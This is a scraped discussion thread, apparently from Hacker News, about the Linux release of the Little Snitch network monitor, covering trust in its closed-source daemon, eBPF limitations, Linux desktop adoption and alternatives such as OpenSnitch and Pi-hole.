j-bos 7 hours ago
BeetleB 3 hours ago
raincole 9 hours ago
> 2026 can without irony be named as Year of Linux Desktop, right?
For whom? Average desktop users? Average users don't know what LittleSnitch is, let alone calling it "popular software."
watusername 4 hours ago
For Linux desktop users. A bit of tongue-in-cheek but that's pretty much the argument that I've heard in some circles ("it works for us and not going away anytime soon - why waste time convincing others?").
cromka 7 hours ago
That's some beautiful, text-book straw man!
raincole 7 hours ago
dainank 12 hours ago
I think there is a lot of talk (and this is good), but very little action. Market share is still incredibly low for LNX. I believe only a small subset of people actually attempt the jump from WIN to LNX (since most just want to play their games and run their programs without hassle) and then quickly realize that its tougher than they anticipated and swiftly return to WIN.
Latty 10 hours ago
This is true, but also the original comment still stands: Linux desktop usage outside developers was so low that it was barely worth mentioning before, so even a small uptick like this is a serious change, and it's how bigger changes start.
I definitely don't think it's even the likely outcome, but for Linux to get serious traction this is how it has to start: power users but not the traditional developer crowd start actually moving, and in doing so produce the guides, experience, word of mouth, and motivation that normal people need to do so, alongside the institutional support from Valve to actually fix the bugs and issues.
It remains to be seen if a critical mass will find it usable long-term, but if it were to happen, this is how it would look at the start, and Microsoft are certainly doing their best to push people away right now, although I suspect the real winner is more likely to be Apple with the Macbook Neo sucking up more of the lower end.
sgbeal 9 hours ago
Doxin 11 hours ago
5% on the steam survey though. The jump isn't quite as big from previous years as it seems as they did some corrections to the statistics this year, but 5% is nothing to sneeze at.
npodbielski 11 hours ago
aqme28 9 hours ago
As someone who did make the jump, it was actually a lot easier than I anticipated. I encourage others to do the same. The only games I can't play are some AAA multiplayer games I wasn't particularly interested in anyways.
dainank 6 hours ago
rounce 10 hours ago
What’s with the weird abbreviations?
kwanbix 7 hours ago
Forgeties79 6 hours ago
I hope more and more folks who want gaming computers realize how turnkey bazzite is, especially if you’re team red. It’s pretty remarkable
lilOnion 9 hours ago
2026 is the year of the linux phone. We need to embrace that the year of the linux desktop (2025) was successful.
lossyalgo 3 hours ago
According to latest Steam stats[0], Linux hit > 5% for the first time ever, so definitely successful (to some degree).
[0] https://store.steampowered.com/hwsurvey/steam-hardware-softw...
gonzalohm 7 hours ago
I wish. I'm tired of not owning my phone. But I don't see a push being done to get a proper Linux phone
ta8903 7 hours ago
Sadly year of the linux phone feels like it's getting farther away.
delusional 4 hours ago
What does "the year of the Linux phone" mean when half the phones already run Linux?
Forgeties79 2 hours ago
mavhc 3 hours ago
a-dub 3 hours ago
kde linux may make it happen. that and command line agents that help people fix their systems.
Forgeties79 an hour ago
It’s definitely what converted me (steamOS first real experience, then mint, pop, and now bazzite)
Perz1val 11 hours ago
Also unrelated, but more linux gamers proves my personal observation that on the spectrum of computer literacy gamers are just below powerusers and programmers. We see more less technical people migrate over to Linux gradually and now it's gamers turn. Well, that's kind of obvious for everybody except Microsoft apparently.
IshKebab 11 hours ago
No.
brainzap 9 hours ago
does wifi work yet? last year it didnt for me
weberer 9 hours ago
Wifi has been working out of the box for close to 20 years now. On some computers with old Broadcom cards, you have to enable non-free drivers. What model are you using?
janc_ 6 hours ago
WiFi works fine if there are drivers for whatever WiFi chip you have.
Unfortunately there are no standards for OS to talk to WiFi devices like exist for many other types of hardware, so it’s not possible to make generic drivers.
JoBrad 6 hours ago
Did you forget your WiFi password?
einsteinx2 6 hours ago
yes
dSebastien 12 hours ago
I've been using Simplewall on Windows for a while but I think it's not maintained anymore. Need to find an alternative
high_priest 12 hours ago
Fort Firewall is my tool of choice. Each connection requires explicit approval.
efilife 12 hours ago
same with simplewall
txrx0000 16 hours ago
As articulated in the author's own blog post:
https://obdev.at/blog/little-snitch-for-linux/
The core issue is simple and uncomfortable: through automatic updates, a vendor can run any code, with any privileges, on your machine, at any time.
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If the author is serious about this, then they should make their own program completely open source, and make builds bit-for-bit reproducible.
For all I know, the proprietary Little Snitch daemon, or even the binaries they're distributing for the open source components, contain backdoors that can be remotely activated to run any code, with any privileges, on your machine, at any time.
littlesnitch 8 hours ago
This is correct, of course. But I currently can't make the entire project Open Source. My other option would be to keep it completely private (wrote it mostly for myself in the first place).
I think it's still better to make it public and only partially Open Source so that some people can benefit from it. If you don't trust us, that's completely reasonable, just don't install it.
pshirshov 10 hours ago
Unfortunately it significantly impacts battery life, at least at my tests.
linuxguy2 5 hours ago
One person's (not my) take on why to skip this: https://the.unknown-universe.co.uk/privacy-security/little-s...
TL;DR it's closed source and there's open source alternatives.
Dig1t 17 hours ago
>The daemon (littlesnitch --daemon) is proprietary, but free to use and redistribute.
Worth noting that it is closed source. Would be worth contributing patches to OpenSnitch to bring it up to parity with Little Snitch.
MegagramEnjoyer 17 hours ago
Thanks for sharing Open Snitch
flexagoon 17 hours ago
Also see Safing Port master:
chirau 3 hours ago
How does this work with WSL2? Will it monitor windows traffic as well?
jimgill 3 hours ago
Old bottle with new lable, but good to keep eye on interfaces
winrid 14 hours ago
Related - I'm working on launching Watch.ly[0] (human-in-the-loop for remotely approving network and file system access for agents) in the next week or so. It works similarly, via eBPF (although we can also fall back to NFQUEUE). Supporting 5.x+ linux kernels[1], osx, and windows.
Did not know about LittleSnitch, will definitely check it out.
digg32 10 hours ago
Will there ever be anything like Comodo Firewall's HIPS firewall on Linux [0]? I remember when firewalls like ZoneAlarm could detect keyboard hooks from keyloggers and such. Comodo Firewall has had this for over a decade, but unfortunately they are not free anymore. For how open Linux is, it surprises me you can't handle things apps are doing on an alert by alert basis, and not just network permissions. Firewalls used to detect DLL injections, apps creating script files to run, adding stuff to start up. Now it seems firewalls only means network detection.
[0] https://help.comodo.com/uploads/Comodo%20Internet%20Security...
altermetax 4 hours ago
Low-effort take: can't you just run ss -tulpn repeatedly and parse the output?
Myzel394 5 hours ago
I hope they provide a binary without dynamic libraries so that we can use this on nixos as well
thewanderer1983 9 hours ago
Does little snitch and similar software work against solutions like Paqet?
littlesnitch 7 hours ago
On macOS, it requires access to /dev/bpf. That's why we added filter rules for bpf there.
On Linux, we intercept at a level where packets already have an Ethernet header. I hope that Paqet injects before* this layer, but only a test can give the proof.
wolvoleo 13 hours ago
Ohhh interesting. Little snitch is one of 2 apps I miss from when the Mac was my daily driver. The other app was pixelmator
mrbluecoat 16 hours ago
> The macOS version uses deep packet inspection to do this more reliably. That's not an option here.
Isn't MacOS just *nix under the hood? Genuinely curious about this difference.
firelizzard 15 hours ago
An operating system is roughly broken into three parts: the kernel, the core system tools, and the shell (the desktop environment and/or the CLI shell). Linux: Linux kernel, GNU coreutils (usually), KDE/Gnome/etc + CLI shells. macOS: XNU, BSD userland + launchd/etc, Aqua/Cocoa. Windows: NT kernel, Win32/WinRT/etc, Windows Shell.
The systems LittleSnitch uses to do packet inspection are very much OS-specific. There's no generic standard for doing high-performance packet inspection. XNU and Linux are *very* different kernels. Linus Torvalds built Linux from scratch as a monolithic kernel because he wanted a Unix-like OS that wasn't encumbered. XNU is based on the Mach microkernel though XNU is a hybrid or monolithic kernel, not a microkernel. The point is, they have very different heritage and very different systems for... well pretty much everything. So "just *nix under the hood" is kind of true but also completely besides the point as far as packet inspection goes. And even then, while there are a lot of similarities between the core system tools of Linux and macOS, they're still quite different and unless you're limiting yourself to POSIX-standard interfaces (which are only a fraction of the system), you're not going to be able to use the same code on both systems.
manwe150 16 hours ago
More the opposite. macOS is a veneer of nix, but underneath it is the XNU microkernel. Lots more nuance since Apple took over and added a lot of their own performance and API improvements to
ekropotin 16 hours ago
From what I understand, macOS uses weird kernel implementation, which is almost open source, but not 100%
firelizzard 15 hours ago
You're correct, but for a bit more context: The macOS kernel is XNU, which is derived from/based on the Mach kernel, but heavily modified. The kernel itself is open source but some drivers/kernel extensions are not so it's not actually usable (unless you provide your own implementations of those).
gnerd00 16 hours ago
BSD family with fewer GPL parts each year
0xbadcafebee 15 hours ago
> Compatible with Linux kernel 6.12 or higher
I know everyone today is used to upgrading every 5 seconds, but some of us are stuck on old software. For example, my Linux machine keeps rebooting and sucks up power in suspend mode because of buggy drivers in 6.12+, so I'm stuck on 6.8. (which is extra annoying because I bought this laptop for its Linux hardware support...)
littlesnitch 8 hours ago
In theory, it could be possible to get the requirement down to 5.17, but I don't get around the verifier constraints on pre 6.12 kernels. Maybe somebody who is more experienced with eBPF and the verifier can help. This part is Open Source and you can replace it.
badc0ffee 16 hours ago
Does anyone know how the blocking functionality works? I worked on some eBPF code a few years ago (when BTF/CO-RE was new), and while it was powerful, you couldn't just write to memory, or make function calls in the kernel.
Is there a userland component that's using something like iptables? (Can iptables block traffic originating from/destined to a specific process nowadays?)
littlesnitch 8 hours ago
eBPF is extended in every kernel version. There is a layer where you get network packets and return a verdict. Little Snitch uses this type of eBPF function. You can look at the sources on Github.
xrio 12 hours ago
Back when I was still using macOS I loved Little Snitch and was a paying customer. And I agree nothing on Linux comes close. Would it be technically feasible to also provide this as a Flatpak to support immutable distros like Bazzite?
jcgl 11 hours ago
I’m not aware of flatpaks specifically having th capability to run system software, daemons, etc. Some other immutable packaging formats should be able to (systemd-sysext at least, and snap iirc).
littlesnitch 8 hours ago
As far as I can tell, Flatpak does not allow a daemon running as root early during system boot.
I_am_tiberius 4 hours ago
FYI: It's an Austrian company behind that software.
xn--yt9h 13 hours ago
Giving it a shot right now. Very easy setup, intuitive UI, but a lot of requests' processes are not identified (while they could easily be identified, as they belong to the browser that has some, but less, identified calls)
littlesnitch 8 hours ago
Little Snitch must be running when the process starts in order to identify it correctly. You get less "Not Identified" if you run it for a while, or you should get none if you reboot and Little Snitch can start before everything else.
I would love to fix this requirement, but have not found a way yet.
peterspath 9 hours ago
I really want Little Snitch for iOS.
Hopefully Apple makes the necessary frameworks available on iOS in general. Not only for supervised devices.
Barbing 9 hours ago
Same.
They are still restricting iCloud Private Relay to Safari for the most part. iOS is really wanting for privacy improvements to close the gap between marketing and reality.
Fun fact: iOS lets developers spy on when you _dismiss_ notifications:
https://developer.apple.com/documentation/usernotifications/...
Ever instantly angry-swipe-to-clear a DM notification soon as it hits your lockscreen from someone who upset you? Zuck knew y'all had beef.
Clear notifications before bed and in the morning? All those companies could know a bit more about your routine than you would've otherwise revealed if weren't in the habit of using those apps at those times.
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The kinds of tiny things that would be pretty inconsequential on their own but that you figure maybe the Apple tax would help you avoid.
(edited with additions)
FloatArtifact 17 hours ago
I wish applications like this could coordinate with upstream firewall like opnsense
Tepix 12 hours ago
> One thing to be aware of: the .lsrules format from Little Snitch on macOS is not compatible with the Linux version.
Why?
littlesnitch 8 hours ago
Just because I did not port the parser for it to Rust. And I thought that the lsrules format is rare for blocklists. If there is popular demand, we can add it.
ProllyInfamous 24 minutes ago
You should add this feature.
cromka 12 hours ago
Probably because it relies on eBPF rules on Linux?
cromka 12 hours ago
I'd like to point out it uses very little memory, barely 33MB here. That's impressive!
SamuelAdams 18 hours ago
So if this is free to use on linux, what is to stop someone from doing what Colima did to Docker? Aka make a tiny Linux VM on MacOS and package Little Snitch within that?
Cider9986 18 hours ago
It barely has any of the features of the MacOS version, there is no shortage of cracks for Little Snitch, and there is Lulu. Other than that, I am not sure.
azinman2 18 hours ago
I don't think it'll have access to the macOS connections, and certainly cannot act at the kernel-supported level as a firewall on the Mac side.
firelizzard 15 hours ago
Little Snitch requires packet inspection. If you ran it in a Linux VM, it will inspect packets within the VM. So... kind of useless for monitoring connections on the host.
sersi 12 hours ago
> For keeping tabs on what your software is up to and blocking legitimate software from phoning home, Little Snitch for Linux works well. For hardening a system against a determined adversary, it's not the right tool.
What would be the right tool to harden in a similar way to little snitch on mac? Meaning intercepting any connection and whitelisting them reliably.
Jakson_Tate 8 hours ago
cool to see eBPF used for a desktop firewall instead of just ddos packet dropping. the note about bpf map overflows is super relatable, dealing with that on bare-metal is a pain.
my question is... if the tracking maps fill up completely, does the daemon fail-open or fail-closed?
littlesnitch 6 hours ago
There is currently no treatment of errors because I would not know how to handle them anyway. There are two tables which can overflow affecting the filter: the table of open flows and the table of recent DNS lookups. The table of flows just fills up, meaning that we cannot store state about new flows. Without state, we can't attribute a process to them and end up evaluating rules on each packet. I guess that blocklists would still work, but more specific rules would not be applied (and the default decision would be taken, whatever you have configured).
The DNS lookups, on the other hand, are LRU. If the table overflows too soon, we won't be able to derive names for IP addresses and name-based rules would fail.
computing 16 hours ago
doesn't work on arch (btw)
rvz 18 hours ago
Also from [0].
> You can find Little Snitch for Linux here. It is free, and it will stay that way.
Don't worry, the authors know that there's no point in charging Linux users. Unlike Mac users.
So you might as well make it $0 and the (Linux) crowd goes wild that they don't need to pay a cent.
However...
> I researched a bit, found OpenSnitch, several command line tools, and various security systems built for servers. None of these gave me what I wanted: see which process is making which connections, and in the best case deny with a single click.
OpenSnitch is open source. You don't need to trust it as you can see the code yourself. Little Snitch on the other hand, is completely closed source.
Do you still trust them not to do self-reporting or phoning home, even though it is $0 and closed source?
papascrubs 18 hours ago
Two of the three components of LittleSnitch for Linux are open source. The eBPF (kernel portion) and UI are fully open source.
lapcat 18 hours ago
> Do you still trust them not to do self-reporting or phoning home, even though it is $0 and closed source?
If you trust Little Snitch on Mac, then yes.
They've been in business for over 20 years. They're not going to blow their entire business and reputation for a few Linux users.
emmelaich 17 hours ago
Yep, I trust the obdev.at / Snitch guys.
I do wonder however, are they sufficiently careful about their processes and own machines to avoid a supply chain attack completely.
They must be a target for the various hacking groups out there.
littlesnitch 8 hours ago
lapcat 17 hours ago
joeiq 5 hours ago
Finally!
spwa4 6 hours ago
Of course, getting data uploads past little snitch is an exercise in triviality. For instance, using DNS tunneling. Sending requests to unrelated servers, ideally on AWS or some other cloud, so you have no idea at all who's behind the server and the firewall can't realistically block it, where the info can be retrieved by another party.
wodenokoto 12 hours ago
Honestly I think it is odd such a tool isnøt considered as standard to an OS as a process manager.
Anyway, this one looks great. I hope Linux distros will incorporate this or similar into the network widgets.
dark-star 9 hours ago
Neat! Too bad it's proprietary closed-source though (at least the daemon is).
smashah 9 hours ago
Is there a way to kill little snitch completely without screwing up my DNS/other things?
littlesnitch 8 hours ago
Which one? Mac or Linux? For the Linux Snitch, just stop the service. For the macOS Snitch, you need to move the app to the trash via Finder. Only Apple can remove the network extension and they do this only when deleted via Finder.
akimbostrawman 12 hours ago
i will never understand why people will flock to this but opensnitch which is just better, fully open and has existed for longer (on linux) gets ignored.
littlesnitch 8 hours ago
Little Snitch is not there to replace OpenSnitch. It's just an additional option you can choose from. Some people might prefer it, others not.
RamblingCTO 11 hours ago
then it pretty obviously is not better?
gethly 6 hours ago
so a firewall for linux then?
imagetic 13 hours ago
Dope.
piekvorst 6 hours ago
Now I can spy on the software spying at me. Nice.
chris_wot 15 hours ago
Can someone elaborate on the limitations bit?
"Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here."
Is this a limitation of the eBPF implementation? Pardon my ignorance, I'm genuinely curious about this.
littlesnitch 8 hours ago
eBPF limits the size of the code, its complexity and how data can be stored. You cannot just implement any algorithm in eBPF for that reason.
That's not only a weakness, it's also a strength of eBPF. This way it can provide security and safety guarantees on the code loaded into the kernel.
LoganDark 15 hours ago
Yess, the return of the actually good landing page for the technically-minded. Now all they need to do is roll back the macOS one that looks and reads like it was designed by a marketing agency that knows nothing about computers (or even Little Snitch itself).
shevy-java 11 hours ago
The ultimate turnaround would be if the little snitch is snitching on the user too.
sneak 16 hours ago
It’s not really necessary on Linux. Linux systems work without 40 invisible background services phoning home to the mothership to leak your hardware identifiers for FAA702 collection.
weikju 15 hours ago
Linux maybe, not so true of all the DEs and apps installed on it
waterTanuki 18 hours ago
Why would one use this over PiHole?
JoeBOFH 18 hours ago
This is different. This shows you what in your operating system is making connections out and to where.
roughly 18 hours ago
I run both (LS on Mac, at least), they do different things - pi.hole is a great ad blocker which applies to all of the devices on your network. Little Snitch is doing something different - it tells you every call that every app you use is making, and allows you to approve or deny each one. So, you can block telemetry for apps, or you can block certain apps from contacting certain servers, or you can just use it to watch what apps on your system are calling out to where.
waterTanuki 17 hours ago
To clarify, I'm aware that pihole is not intended to run on a client OS, and doesn't monitor at a process level. I'm focused on the intended effect rather than the process itself (blocking malicious/ad servers). And I think I framed my initial question incorrectly as if LS and PiHole as subtitutes. It's perfectly fine and even preferrable to use both as layered protection. I'm just thinking however when it comes for bang-for-buck it seems like PiHole is the better value proposition if you could only set up one.
pi.hole is primarily billed as an ad blocker, but the fundamental way it works is by applying a curated set of DNS lists that are blocked (commonly telemetry and ad servers), and the admin dashboard which is just a web page (therefore works on all platforms, smartphones included) will do the same thing: it tells you every call that every app on every device on your network is making, and you can approve or deny it. You can curate your own list as well and block servers/connections you don't want on the network.
LS afaik operates in the same area where it's intended to be used for privacy. I guess I could see it being useful for people who don't have admin access to their router, but for people who do have such access I would think the benefits of network-wide DNS monitoring/blocking would outweight the costs of having to configure your router settings.
roughly 3 hours ago
LamaOfRuin 16 hours ago
mixmastamyk 16 hours ago
cortesoft 17 hours ago
LittleSnitch isn't for ad blocking (only), it is for tracking/blocking/allowing ALL connections from various processes. PiHole only blocks DNS requests to known ad servers.
walrus01 17 hours ago
Completely different thing. A littlesnitch type thing is for all traffic. Pihole is a DNS query thing that prevents various ad content from being loaded. It's also trivially easy for a malicious application with network access to bypass any instance of pihole on your LAN by doing its own DNS over HTTPS lookups to its own set of server(s) by IP.
waterTanuki 17 hours ago
I mean, if you're at the point where your machine is compromised by a process with full network access little snitch won't help much either.
sampullman 16 hours ago
clomia 12 hours ago
good
VladVladikoff 16 hours ago
Really like Lulu as an alternative to LittleSnitch https://objective-see.org/products/lulu.html
serious_angel 18 hours ago
> The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name.
> And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably.
> That's not an option here.
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> Source: https://web.archive.org/web/20260409002901/https://obdev.at/products/littlesnitch-linux/index.html
The above feels like an utter AI slop nonsense, sorry. I believe eBPF, the Linux Kernel feature, is absolutely capable for accuracy and perfect processing of network traffic.Have you ever checked Calico or Cilium, or at least, Oryx?
littlesnitch 8 hours ago
eBPF programs are able to accuratly process network traffic in high performance, but the amount of CPU instructions you can use is limited. Otherwise it would not be high performance. This limits the complexity of in-kernel processing.
serious_angel 7 hours ago
Thank you for the response. Yet, how the heck the CPU instructions you inject in (that are being processed within the same network processing) limit the capabilities of the flow, if you literally put your calls within the same networking context? Please provide any actual document that proves your point.
jiveturkey 17 hours ago
I guess you haven't actually implemented anything in eBPF.
serious_angel 7 hours ago
I have, but in the scopes of Kprobes non-network but memory. Here, I am sure you haven't at this point. I also provided projects you may check prior stating another nonsense. Instead, you could also provide some more evidence you disagree with.
heatpump5n 15 hours ago
Can you elaborate? I thought eBPF was created to be used in high performance scenarios, so I am confused why this shouldn't be posssible.
shawnta 14 hours ago
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